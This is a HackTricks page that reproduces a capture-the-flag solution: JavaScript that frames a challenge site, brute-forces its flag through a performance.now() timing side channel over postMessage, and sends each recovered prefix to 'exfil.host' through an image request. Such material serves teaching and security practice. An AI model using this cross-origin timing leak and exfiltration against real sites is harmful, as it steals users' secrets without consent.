performance.now example - HackTricks

# performance.now example

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Example taken from https://ctf.zeyu2001.com/2022/nitectf-2022/js-api

    const sleep = (ms) => new Promise((res) => setTimeout(res, ms))

    async function check(flag) {
      let w = frame.contentWindow
      w.postMessage(
        { op: "preview", payload: '<img name="enable_experimental_features">' },
        "*"
      )
      await sleep(1)
      w.postMessage({ op: "search", payload: flag }, "*")
      let t1 = performance.now()
      await sleep(1)
      return performance.now() - t1 > 200
    }

    async function main() {
      let alpha =
        "abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}"
      window.frame = document.createElement("iframe")
      frame.width = "100%"
      frame.height = "700px"
      frame.src = "https://challenge.jsapi.tech/"
      document.body.appendChild(frame)
      await sleep(1000)

      let flag = "nite{"
      while (1) {
        for (let c of alpha) {
          let result = await Promise.race([
            check(flag + c),
            new Promise((res) =>
              setTimeout(() => {
                res(true)
              }, 300)
            ),
          ])
          console.log(flag + c, result)
          if (result) {
            flag += c
            break
          }
        }
        new Image().src = "//exfil.host/log?" + encodeURIComponent(flag)
      }
    }

    document.addEventListener("DOMContentLoaded", main)

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.